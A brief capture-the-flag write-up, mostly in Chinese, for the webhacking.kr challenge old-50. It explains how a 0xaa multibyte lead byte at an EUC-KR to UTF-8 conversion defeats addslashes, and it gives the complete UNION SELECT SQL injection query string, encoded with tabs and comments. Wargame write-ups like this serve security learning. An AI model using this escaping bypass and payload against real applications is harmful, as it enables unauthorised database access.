Webhacking.kr old-50

Challenge

Use the encoding boundary to reach a UNION result with level 3.

利用编码边界注入 UNION 结果,使 level 变成 3。

1
https://webhacking.kr/challenge/web-25/

Analysis

old-50 的 id 会先经过 addslashes,之后再从 EUC-KR 转换为 UTF-8。%aa 是多字节字符的前导字节;在该转换边界下,它可以吞掉 addslashes 插入的反斜杠,使后面的单引号重新成为 SQL 语法的一部分。

pw 从注释结束处开始注入 UNION SELECT 3。Tab(%09)代替空格,#(%23)注释掉后续 SQL。这个链依赖原始请求中的字节顺序,浏览器或 HTTP 客户端不能把已经编码的 %aa、%27、%2f、%2a 再编码成字面量百分号序列。

Solution

候选请求的完整原始 query 为:

1
https://webhacking.kr/challenge/web-25/?id=%aa%27%2f%2a&pw=%2a%2funion%09select%093%23

解码后两个参数分别是:

1
2
id=\xaa'/*
pw=*/union\tselect\t3#

其中 \xaa 表示原始字节 0xaa,不是六个普通字符。需要使用 Burp Repeater 或能保留 query 原始字节的客户端重放请求,不要先把整个 URL 当作普通参数再次编码。